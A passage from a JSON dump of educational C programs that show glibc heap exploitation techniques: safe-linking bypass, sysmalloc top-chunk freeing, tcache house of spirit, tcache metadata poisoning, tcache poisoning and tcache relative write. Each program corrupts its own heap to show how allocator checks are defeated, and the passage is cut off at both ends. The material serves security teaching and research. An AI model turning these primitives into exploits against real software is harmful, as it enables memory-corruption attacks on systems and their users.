...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.37/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.37/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.37/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.37/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.37/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.37/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x918;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     